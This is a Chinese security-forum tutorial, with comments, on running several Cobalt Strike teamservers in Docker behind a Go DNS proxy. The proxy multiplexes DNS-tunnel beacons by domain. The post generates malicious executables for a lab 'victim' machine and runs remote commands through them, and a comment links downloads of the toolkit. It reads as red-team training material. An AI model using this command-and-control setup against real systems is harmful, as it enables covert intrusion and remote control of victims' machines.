需要用到的一些东西我都放到文章末尾的附件里面了,可以自行下载
你不需要学习Docker或Golang,只需要安装虚拟机、运行命令、会使用鼠标即可
apt -y install vim
cd /usr/local/
wget https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
tar -xvf jdk-8u202-linux-x64.tar.gz
mv jdk1.8.0_202 jdk8
vim /etc/profile
export JAVA_HOME=/usr/local/jdk8/bin:/usr/local/jdk8/lib:/usr/local/jdk8/jre/bin
export PATH=$PATH:$JAVA_HOME
source /etc/profile
java -version
apt -y install curl
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
docker -v
cd /usr/local/
wget https://golang.google.cn/dl/go1.19.3.linux-amd64.tar.gz
tar -xvf go1.19.3.linux-amd64.tar.gz
vim /etc/profile
export PATH=$PATH:$JAVA_HOME:/usr/local/go/bin
source /etc/profile
go version
vim /etc/profile
export GO111MODULE=on
export GOPROXY=https://goproxy.cn
source /etc/profile
将docker镜像复制到Ubuntu虚拟机当中
导入docker镜像,并查看是否导入成功(需要root权限)
docker load < cs4.4.tar
docker images
使用刚刚导入的镜像,运行2个cs容器
docker run --rm -it --name cs1 -p 2021:80/udp -p 50051:50050 cs:open
docker run --rm -it --name cs2 -p 2022:80/udp -p 50052:50050 cs:open
在2个cs容器当中,进入/usr/local/cs4/目录
cd /usr/local/cs4/
./teamserver 192.168.80.133 123456
查看Ubuntu端口状态,可以看到2021、2022、50051和50052端口
此时端口状态就如同:
在物理机上解压cs4.4的压缩包,复制到Ubuntu当中
Ubuntu在cs4.4目录中打开命令行界面,运行start.sh启动客户端
连接50051端口的CS(容器cs1)
点击左上角的新建连接,连接50052端口的CS(容器cs2)
连接成功后,你可以点击选项卡,在两个CS之间进行切换
选择test1,新建一个监听器
选择test2,新建一个监听器
将dns_proxy.go复制到Ubuntu当中
进入文件所在目录,运行go mod init zkaq初始化当前目录
运行go get,获取所需要的第三方包
go mod init zkaq
go get github.com/miekg/dns
创建proxy.config文件,这是程序的配置文件
zkaq1.com,127.0.0.1:2021
zkaq2.com,127.0.0.1:2022
在运行Go程序之前,由于Ubuntu自带一个dns服务,会占用53端口,所以要提前将其关闭,把53端口空闲出来
systemctl stop systemd-resolved
systemctl disable systemd-resolved
vim /etc/systemd/resolved.conf
ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf
运行Go程序
go run dns_proxy.go
在Win10受害机上,ping一下Ubuntu测试网络连通性
生成cs1的.exe恶意程序
生成cs2的.exe恶意程序
将2个恶意程序复制到受害机,然后分别双击运行
python3 -m http.server --bind 192.168.80.133 2222
4. 运行这2个程序之后,可以在CS中看到已经有记录了,右键这2条记录,选择Session -> Sleep,修改为1
5. 等待一段时间,当你看到Go程序中的输出 在2个域名之间反复横跳的时候,就说明成功了,在CS中可以看到主机已经上线
6. 尝试远程执行系统命令
7. 虽然能够执行命令,但是前面说过,DNS隧道响应速度比较慢,我这里执行whoami并获得回显结果仅需要1-2秒,但是执行一个net user花费了3-5分钟,是真的慢……所以在实战中,如果没什么特殊情况或要求,尽量不要使用DNS隧道,网卡会把你气死
运行一个新的容器cs3,启动teamserver,使用客户端进行连接
新建监听器,这次监听zkaq3.com
修改配置文件proxy.config,添加zkaq3.com的记录
运行命令nslookup查询zkaq3.com,提示查询不到
查询dns_proxy.go进程的PID号,使用kill -10命令通知进程,使其刷新配置。运行kill之后,你会在go程序的输出当中看到 已经重新加载了配置
这时候再次使用nslookup查询zkaq3.com,已经能够查询到记录,成功
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 150.00 | 0 | 2022-12-03 20:08:58 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
念旧
发表于 2022-11-30
压缩包好像上传不上来,这里挂2个网盘链接给你们:
百度网盘:https://pan.baidu.com/s/1-0FOb_PkoLoFteB_0mpuAw?pwd=zkaq
迅雷云盘:https://pan.xunlei.com/s/VNI79hldRPoKPolkLhwcwf_IA1?pwd=jzkd#
评论列表
加载数据中...
一生情
发表于 2023-4-9
太强了,雨神
评论列表
加载数据中...